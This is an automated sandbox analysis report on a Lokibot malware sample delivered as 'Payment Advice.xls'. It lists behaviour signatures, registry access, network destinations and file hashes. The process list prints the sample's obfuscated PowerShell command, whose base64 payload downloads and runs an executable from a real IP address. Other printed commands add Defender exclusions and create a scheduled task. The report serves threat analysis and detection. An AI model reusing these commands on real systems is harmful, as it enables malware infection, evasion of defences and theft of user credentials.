Analysis Overview
SHA256
c1b87e35d9bcc37980e406e3c9aa910aed0dde54f90ffbd521291c80b230b3f3
Threat Level: Known bad
The file Payment Advice.xls was found to be: Known bad.
Malicious Activity Summary
Lokibot
Process spawned unexpected child process
Lokibot family
Command and Scripting Interpreter: PowerShell
Downloads MZ/PE file
Evasion via Device Credential Deployment
Blocklisted process makes network request
Loads dropped DLL
Reads user/profile data of web browsers
Executes dropped EXE
Accesses Microsoft Outlook profiles
Suspicious use of SetThreadContext
Drops file in System32 directory
Enumerates physical storage devices
System Location Discovery: System Language Discovery
outlook_office_path
Uses Task Scheduler COM API
Modifies Internet Explorer settings
Scheduled Task/Job: Scheduled Task
Uses Volume Shadow Copy WMI provider
Suspicious use of WriteProcessMemory
Enumerates system info in registry
Suspicious behavior: AddClipboardFormatListener
Suspicious use of SetWindowsHookEx
outlook_win_path
Suspicious use of AdjustPrivilegeToken
Uses Volume Shadow Copy service COM API
Suspicious behavior: EnumeratesProcesses
Checks processor information in registry
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-18 17:10
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-18 17:10
Reported
2024-11-18 17:12
Platform
win7-20240903-en
Max time kernel
147s
Max time network
148s
Command Line
Signatures
Lokibot
Lokibot family
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Evasion via Device Credential Deployment
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
Reads user/profile data of web browsers
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1700 set thread context of 1032 | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | C:\Users\Admin\AppData\Roaming\caspol.exe |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\schtasks.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook | C:\Users\Admin\AppData\Roaming\caspol.exe | N/A |
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Payment Advice.xls"
C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe -Embedding
C:\Windows\SysWOW64\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE
"C:\Windows\SysTEm32\wiNDOwSpoWERsHelL\v1.0\POwerSHELL.ExE" "PoWErShELl.EXe -Ex ByPass -noP -W 1 -c dEvicECREDenTIAlDePLOYMeNt ; iNvoke-eXPrEssion($(iNvoKe-ExprESsiOn('[syStEm.TExT.eNCOdING]'+[cHAR]58+[CHar]58+'Utf8.gEtsTrING([SySTeM.CoNVERt]'+[char]58+[Char]58+'fromBAse64StrIng('+[char]34+'JEtQeWw1UEl4REFxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10eXBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FbWJlUmRlRklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidVJMbW9OLkRsTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFVwR2NKekppUyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdtRWZCcVZKd2IsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT2hlbmlXY0dJKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiYWNLZGFobmZjYSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFtRXNwQUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgT1dTdUFVSGV4bSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkS1B5bDVQSXhEQXE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzM2L2Nhc3BvbC5leGUiLCIkZW5WOkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzdGFSVC1TbGVFUCgzKTtJRVggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHAr]0x22+'))')))"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex ByPass -noP -W 1 -c dEvicECREDenTIAlDePLOYMeNt
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4nykq1cm.cmdline"
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFB7F.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCFB7E.tmp"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\caspol.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\bdWEysRwjYwmy.exe"
C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\bdWEysRwjYwmy" /XML "C:\Users\Admin\AppData\Local\Temp\tmp865F.tmp"
C:\Users\Admin\AppData\Roaming\caspol.exe
"C:\Users\Admin\AppData\Roaming\caspol.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | link.uebie.de | udp |
| DE | 5.45.108.48:443 | link.uebie.de | tcp |
| US | 8.8.8.8:53 | e6.o.lencr.org | udp |
| GB | 88.221.134.89:80 | e6.o.lencr.org | tcp |
| US | 192.3.243.136:80 | 192.3.243.136 | tcp |
| DE | 5.45.108.48:443 | link.uebie.de | tcp |
| US | 192.3.243.136:80 | 192.3.243.136 | tcp |
| US | 192.3.243.136:80 | 192.3.243.136 | tcp |
| US | 8.8.8.8:53 | crl.microsoft.com | udp |
| GB | 2.19.252.157:80 | crl.microsoft.com | tcp |
| US | 8.8.8.8:53 | www.microsoft.com | udp |
| GB | 95.100.245.144:80 | www.microsoft.com | tcp |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp | |
| DE | 94.156.177.95:80 | tcp |
Files
memory/1388-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1388-1-0x00000000725ED000-0x00000000725F8000-memory.dmp
memory/2724-18-0x0000000002970000-0x0000000002972000-memory.dmp
memory/1388-19-0x00000000023B0000-0x00000000023B2000-memory.dmp
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
| MD5 | 822467b728b7a66b081c91795373789a |
| SHA1 | d8f2f02e1eef62485a9feffd59ce837511749865 |
| SHA256 | af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9 |
| SHA512 | bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B083487247EB8FBD76503EF0DA269B6B
| MD5 | dfe9d40108cd6499968560d0319998c6 |
| SHA1 | 6b79281f7efec1b9fb942e6e0cd3eb5e9f776e73 |
| SHA256 | 1dc7e4150fff57a7423b4d0ebeb3a5f966593b4dad4b803840f6c4a2f814951e |
| SHA512 | 5d4d685a5f15372d4ae8fdc08ab92d2f2f173f586b58315d35a62318f71b9fce7f84b4501f50024e95225a53856ab8170bcf1adf8805eaddb392250082c9ff56 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B083487247EB8FBD76503EF0DA269B6B
| MD5 | 93248e76a76b72a2bec974f8449304d5 |
| SHA1 | 6ec7f426246dc5f878e0b901a0e9c39f4b756d5a |
| SHA256 | beccb6667990c45dad4330432f2135e5ad922603cb86fbbe7d0704129c299796 |
| SHA512 | 5926b0a7e656b95997a55434d4fc8440cdb80b6fbaaadeaae258d8f7a2b2658a8e499ec3811c95f8d00ad09092143f0fd59d58686aadf29154bb85ede14d35b6 |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
| MD5 | 9182aaee57b94fd654512a09401dfc1d |
| SHA1 | 92b9a46460c6779281396cf8f3d34b90b37c6ad7 |
| SHA256 | c5870d2e78aaece4af4eda4107df9951aef1851e072afa61e15fd4d0c26df206 |
| SHA512 | a11ede412bf4a333aeb8967fd960b7f2c8d896022f31982a74455512a900a8164301579ef9efdad8ab2948b377ef709b7c21d0d2322d7e2037605bff9cc5c62d |
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
| MD5 | d6fee6d817235b54638d4ac699840ecc |
| SHA1 | 10e71cfbb9688a9b5c7f32bd0bf6b342ba453eac |
| SHA256 | 60dc9ab1f51262e506a303f7cff31633e928470a2447bab0e1c033131596c930 |
| SHA512 | 428bd6264a53e3d43c72cb163d48b889e5a33861cf9e015d8bfc3189737d7f55930dea12c9812dcb6fa17588bec16bc40b72ff6e21df6c15283e9caa86f7a6e0 |
C:\Users\Admin\AppData\Local\Temp\CabF00A.tmp
| MD5 | 49aebf8cbd62d92ac215b2923fb1b9f5 |
| SHA1 | 1723be06719828dda65ad804298d0431f6aff976 |
| SHA256 | b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f |
| SHA512 | bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b |
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\Q0WBLVJY\seemybestbeautifulgirlwhowantbestthignsenitrelifetimethingstobe[1].hta
| MD5 | 9427d6b1cf4e282f2140587823409691 |
| SHA1 | 059037ad5c4c6054bdcd163cb1969a84cc1813e9 |
| SHA256 | a9cc9394d9450742c8f2b9b9c9ab7b94fda208cd6977458521554121a49f45d1 |
| SHA512 | a394958ceb3d1594328c1c7d091f295080b1fa93a787aec87456b1438559003e68e1c0e38eee6d5779a4227a0413393f90a587129d8c44d42467e0b3c2382ab2 |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | 1c506664d7a3a332a3b824f6f833f8f4 |
| SHA1 | a9d836bebca0509e73c87809bafd71d96e86fcc0 |
| SHA256 | 8592c8ed0640601a2e0a8a233c57ee14c29dd91a545e23a2278a6567190cee38 |
| SHA512 | 3973032708f0b88cd49c2e85444d0dbc50a6b61ab5a9929f0a06337c1d3fb9a5d7a75294ea3588f03bc9178cfee69755df79b86712c317477508d2fceb7f9ab2 |
\??\c:\Users\Admin\AppData\Local\Temp\4nykq1cm.cmdline
| MD5 | cd5b1650305cdb58d8a16b6ab5c0f0d3 |
| SHA1 | 00edaf4b1af26419cf7beaf73ad3edb20771d02a |
| SHA256 | 28db4e7341568957120c5b4fd43dfb73778a46e195323a5431374a73285aedf2 |
| SHA512 | db3c2f3b0c624a9195a3ee39e93aec0afa4459fa34193e71b166c3c4a70e06295de4a7122b22df2b76d6807d28125073ed54ad4fc015a8b2499f488403fd512d |
\??\c:\Users\Admin\AppData\Local\Temp\4nykq1cm.0.cs
| MD5 | ee60617752b2061187e3773f962ff810 |
| SHA1 | 5d3dc400820671b51499e9003fcbd7794d07e315 |
| SHA256 | 69736289404f9f61bb67a99a24945aaa347591458b09f4dd686bbc58d8b25ce9 |
| SHA512 | 5bf701c77b31bcf3421fa2cc4649127b54656175bdfb238ddca8606063ceec69fd76d2f611b5f55f246a3003d3fd76b1b318fa0fc4cb1b10d9b8b04e153bf231 |
\??\c:\Users\Admin\AppData\Local\Temp\CSCFB7E.tmp
| MD5 | 5821274e486638260ddc47b071cae763 |
| SHA1 | e8138352c55a630e92c27c5d32f7b70f3d4614eb |
| SHA256 | 05645a9fa01ca20ca24ce9f24d9e5bc1888777ffbfb120cc1f58ac520fbb6850 |
| SHA512 | 7cbf007ae2ed0eba0fcc39159521bee4b5a0afc5c0e350dd40d1175bc4be7145af9d196283584f34bc84890ddf869e32119bc9193836151a965820402aac764f |
C:\Users\Admin\AppData\Local\Temp\RESFB7F.tmp
| MD5 | 2f212dded24b64010399a997ffa22a7e |
| SHA1 | c8c7f6f589af8927a40315fec2c7e3f6e59d7a74 |
| SHA256 | 101d8d241dfed047aca56d837b7c713a9b4c4888af4f834e98e27b4534d86ffc |
| SHA512 | 8e9d30318c4a35de475b1ba4ca135e7666446dd713a5455fea586416125bb00cfee0499bee411f81e33d364282f740a3f571d2dc977ddd2acdd564fe7ac1a9c1 |
C:\Users\Admin\AppData\Local\Temp\4nykq1cm.dll
| MD5 | 466add565e02c2ebccbf3bab414efc44 |
| SHA1 | b786b64b368777737d6402121bc0783c30a23d69 |
| SHA256 | 0891a6532d1950d277a7ead296e7cab2427eb0103751e90ecc4be0e02985c6c9 |
| SHA512 | 1f9c6c3ccb8a1146eca644869edcec973a8040ab92cd107a143c1e8e7e595ea7db296372fe201adb5814b564c462c538dcb1723fba900107677d5c41376d1f53 |
C:\Users\Admin\AppData\Local\Temp\4nykq1cm.pdb
| MD5 | 9181086beb5604a3ca3b9cd9f689431f |
| SHA1 | 9864c4e7551997f75df75bcbf72fef7df0d40084 |
| SHA256 | 865b9373573f2edd9e41891506568249adb65de99336f9015adc0ac35a9b7a0b |
| SHA512 | c9d5527d2639a8a35642ae0659b469bdfe2837836df9691a3f5ee59353568972f399d520153d8df9dcd7795f371da7acd59d0b3a8a5a301b5e613e122a718344 |
memory/1388-72-0x00000000725ED000-0x00000000725F8000-memory.dmp
C:\Users\Admin\AppData\Roaming\caspol.exe
| MD5 | 8c34e99269d4121a0dfe4c3eaa9e269f |
| SHA1 | 5bbaa7dc726324e057eb4f78856c368488c4805a |
| SHA256 | 2899cb71414f7d46a6be0d40a5ba017d407a41f291154ea6a86f421754d11a76 |
| SHA512 | 99f3cc287b9437ee888371fac3cf37d77d39c9468086feb0c80f4a0a4cc8a750c0b2798ec32a90aea3c88ed67c36005bcfd81d8e439edcdaca9e60caa1f3f277 |
memory/1700-82-0x0000000000B30000-0x0000000000BB2000-memory.dmp
memory/1700-83-0x0000000000250000-0x0000000000262000-memory.dmp
memory/1700-84-0x0000000002310000-0x0000000002374000-memory.dmp
\??\PIPE\srvsvc
| MD5 | d41d8cd98f00b204e9800998ecf8427e |
| SHA1 | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
| SHA256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| SHA512 | cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e |
C:\Users\Admin\AppData\Local\Temp\tmp865F.tmp
| MD5 | 1fe378d9ded22434bb20f194a31d657f |
| SHA1 | 7c944de0b126775986bdbf0a3274314193c8ea9e |
| SHA256 | 5ed7a378a038c7e2751df01d3c0d8af817a178e51b59bee3b1d203b30676bbf2 |
| SHA512 | 6c8432611f99a6629bc7e282ba2204d4e6ced5ee473a79d1a388f5ecf9fcf1be6781225ad1e652b71e55004518629f9bf8ea8e998c845ccdeefe478e6d5d7058 |
memory/1032-107-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1032-114-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1032-112-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1032-111-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/1032-109-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1032-101-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1032-105-0x0000000000400000-0x00000000004A2000-memory.dmp
memory/1032-103-0x0000000000400000-0x00000000004A2000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1846800975-3917212583-2893086201-1000\0f5007522459c86e95ffcc62f32308f1_f9da27c9-c625-43c3-9b3a-b1344b01e128
| MD5 | d898504a722bff1524134c6ab6a5eaa5 |
| SHA1 | e0fdc90c2ca2a0219c99d2758e68c18875a3e11e |
| SHA256 | 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9 |
| SHA512 | 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61 |
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1846800975-3917212583-2893086201-1000\0f5007522459c86e95ffcc62f32308f1_f9da27c9-c625-43c3-9b3a-b1344b01e128
| MD5 | c07225d4e7d01d31042965f048728a0a |
| SHA1 | 69d70b340fd9f44c89adb9a2278df84faa9906b7 |
| SHA256 | 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a |
| SHA512 | 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b |
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-18 17:10
Reported
2024-11-18 17:12
Platform
win10v2004-20241007-en
Max time kernel
143s
Max time network
149s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\System32\mshta.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4584 wrote to memory of 2016 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
| PID 4584 wrote to memory of 2016 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\System32\mshta.exe |
Uses Task Scheduler COM API
